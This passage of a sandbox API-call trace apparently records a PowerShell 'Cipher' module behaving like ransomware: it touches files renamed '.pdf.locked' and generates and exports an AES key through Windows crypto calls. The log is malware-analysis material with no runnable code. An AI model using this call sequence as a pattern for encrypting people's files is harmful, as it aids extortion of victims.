Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adcc8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0131.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade48) returned 1 [0131.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf.locked"), fInfoLevelId=0x0, lpFileInformation=0x6b12ad0 | out: lpFileInformation=0x6b12ad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11b5736e, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x11b5736e, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x11b82c4f, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x4ca4)) returned 1 [0131.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade44) returned 1 [0131.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ad924, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", lpFilePart=0x0) returned 0x56 [0131.718] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0131.719] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade90 | out: lpFileInformation=0x99ade90) returned 1 [0131.720] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f8 | out: lpConsoleScreenBufferInfo=0x99ae4f8) returned 1 [0131.720] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae500 | out: lpMode=0x99ae500) returned 1 [0131.721] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4f8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4f8*=0x2) returned 1 [0131.726] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae49c | out: lpConsoleScreenBufferInfo=0x99ae49c) returned 1 [0131.727] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0131.727] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4f8 | out: lpMode=0x99ae4f8) returned 1 [0131.727] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4f0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4f0*=0x2) returned 1 [0131.732] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae500 | out: lpConsoleScreenBufferInfo=0x99ae500) returned 1 [0131.732] GetConsoleOutputCP () returned 0x1b5 [0131.733] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae284, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae284) returned 0 [0131.733] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae350 | out: lpConsoleScreenBufferInfo=0x99ae350) returned 1 [0131.733] GetConsoleOutputCP () returned 0x1b5 [0131.733] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2ec) returned 0 [0131.734] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae358 | out: lpMode=0x99ae358) returned 1 [0131.734] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b3ba4c*, nNumberOfCharsToWrite=0x54, lpNumberOfCharsWritten=0x99ae350, lpReserved=0x0 | out: lpBuffer=0x6b3ba4c*, lpNumberOfCharsWritten=0x99ae350*=0x54) returned 1 [0131.734] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae358 | out: lpMode=0x99ae358) returned 1 [0131.735] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae350, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae350*=0x2) returned 1 [0131.739] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae458 | out: lpConsoleScreenBufferInfo=0x99ae458) returned 1 [0131.741] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae460 | out: lpMode=0x99ae460) returned 1 [0131.741] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae458, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae458*=0x2) returned 1 [0131.748] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0131.749] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4f8 | out: lpMode=0x99ae4f8) returned 1 [0131.749] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4f0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4f0*=0x2) returned 1 [0131.754] GetConsoleOutputCP () returned 0x1b5 [0131.754] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae310, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae310) returned 0 [0131.754] GetConsoleOutputCP () returned 0x1b5 [0131.754] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3a8) returned 0 [0131.754] GetConsoleOutputCP () returned 0x1b5 [0131.755] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.755] GetConsoleOutputCP () returned 0x1b5 [0131.756] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.756] GetConsoleOutputCP () returned 0x1b5 [0131.756] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae310, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae310) returned 0 [0131.756] GetConsoleOutputCP () returned 0x1b5 [0131.756] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3a8) returned 0 [0131.757] GetConsoleOutputCP () returned 0x1b5 [0131.757] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.757] GetConsoleOutputCP () returned 0x1b5 [0131.757] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.758] GetConsoleOutputCP () returned 0x1b5 [0131.758] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae310, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae310) returned 0 [0131.758] GetConsoleOutputCP () returned 0x1b5 [0131.758] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3a8) returned 0 [0131.758] GetConsoleOutputCP () returned 0x1b5 [0131.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.759] GetConsoleOutputCP () returned 0x1b5 [0131.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.759] GetConsoleOutputCP () returned 0x1b5 [0131.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae310, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae310) returned 0 [0131.760] GetConsoleOutputCP () returned 0x1b5 [0131.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3a8) returned 0 [0131.760] GetConsoleOutputCP () returned 0x1b5 [0131.761] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.761] GetConsoleOutputCP () returned 0x1b5 [0131.761] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae384) returned 0 [0131.761] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae44c | out: lpConsoleScreenBufferInfo=0x99ae44c) returned 1 [0131.761] GetConsoleOutputCP () returned 0x1b5 [0131.762] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3e8) returned 0 [0131.762] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae454 | out: lpMode=0x99ae454) returned 1 [0131.762] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b3c960*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae44c, lpReserved=0x0 | out: lpBuffer=0x6b3c960*, lpNumberOfCharsWritten=0x99ae44c*=0x77) returned 1 [0131.763] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae454 | out: lpMode=0x99ae454) returned 1 [0131.763] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae44c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae44c*=0x2) returned 1 [0131.768] GetConsoleOutputCP () returned 0x1b5 [0131.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae448, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae448) returned 0 [0131.768] GetConsoleOutputCP () returned 0x1b5 [0131.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae448, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae448) returned 0 [0131.769] GetConsoleOutputCP () returned 0x1b5 [0131.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae448, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae448) returned 0 [0131.769] GetConsoleOutputCP () returned 0x1b5 [0131.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae448, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae448) returned 0 [0131.769] GetConsoleOutputCP () returned 0x1b5 [0131.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.770] GetConsoleOutputCP () returned 0x1b5 [0131.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.770] GetConsoleOutputCP () returned 0x1b5 [0131.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.777] GetConsoleOutputCP () returned 0x1b5 [0131.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.778] GetConsoleOutputCP () returned 0x1b5 [0131.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.778] GetConsoleOutputCP () returned 0x1b5 [0131.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.779] GetConsoleOutputCP () returned 0x1b5 [0131.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.779] GetConsoleOutputCP () returned 0x1b5 [0131.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d4) returned 0 [0131.780] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae44c | out: lpConsoleScreenBufferInfo=0x99ae44c) returned 1 [0131.780] GetConsoleOutputCP () returned 0x1b5 [0131.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3e8) returned 0 [0131.781] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae454 | out: lpMode=0x99ae454) returned 1 [0131.781] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b3d3b8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae44c, lpReserved=0x0 | out: lpBuffer=0x6b3d3b8*, lpNumberOfCharsWritten=0x99ae44c*=0x77) returned 1 [0131.781] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae454 | out: lpMode=0x99ae454) returned 1 [0131.782] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae44c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae44c*=0x2) returned 1 [0131.787] GetConsoleOutputCP () returned 0x1b5 [0131.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae348, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae348) returned 0 [0131.788] GetConsoleOutputCP () returned 0x1b5 [0131.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3e0) returned 0 [0131.788] GetConsoleOutputCP () returned 0x1b5 [0131.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.789] GetConsoleOutputCP () returned 0x1b5 [0131.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.789] GetConsoleOutputCP () returned 0x1b5 [0131.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae348, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae348) returned 0 [0131.789] GetConsoleOutputCP () returned 0x1b5 [0131.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3e0) returned 0 [0131.790] GetConsoleOutputCP () returned 0x1b5 [0131.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.790] GetConsoleOutputCP () returned 0x1b5 [0131.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.791] GetConsoleOutputCP () returned 0x1b5 [0131.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae348, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae348) returned 0 [0131.791] GetConsoleOutputCP () returned 0x1b5 [0131.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3e0) returned 0 [0131.792] GetConsoleOutputCP () returned 0x1b5 [0131.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.792] GetConsoleOutputCP () returned 0x1b5 [0131.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.793] GetConsoleOutputCP () returned 0x1b5 [0131.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae348, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae348) returned 0 [0131.793] GetConsoleOutputCP () returned 0x1b5 [0131.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3e0) returned 0 [0131.793] GetConsoleOutputCP () returned 0x1b5 [0131.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.794] GetConsoleOutputCP () returned 0x1b5 [0131.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3bc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3bc) returned 0 [0131.794] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae484 | out: lpConsoleScreenBufferInfo=0x99ae484) returned 1 [0131.795] GetConsoleOutputCP () returned 0x1b5 [0131.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae420, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae420) returned 0 [0131.795] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae48c | out: lpMode=0x99ae48c) returned 1 [0131.796] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b3f15c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae484, lpReserved=0x0 | out: lpBuffer=0x6b3f15c*, lpNumberOfCharsWritten=0x99ae484*=0x77) returned 1 [0131.796] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae48c | out: lpMode=0x99ae48c) returned 1 [0131.797] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae484, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae484*=0x2) returned 1 [0131.804] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.804] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.804] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.804] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0131.804] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.804] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.804] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.805] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0131.805] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0131.805] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.805] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.805] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.806] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396e78) returned 1 [0131.806] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84c78) returned 1 [0131.806] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.806] CryptExportKey (in: hKey=0x8e84c78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0131.807] CryptExportKey (in: hKey=0x8e84c78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6b48b9c, pdwDataLen=0x99ae894 | out: pbData=0x6b48b9c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0131.807] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.807] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.807] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.807] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.807] SysStringLen (param_1="") returned 0x8 [0131.807] SysStringLen (param_1="I") returned 0x8 [0131.807] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.807] SysStringLen (param_1="\x22fc\xb091\x9a12\xbe08\x6ca0\x26de\x60c7\x850c") returned 0x8 [0131.807] SysStringLen 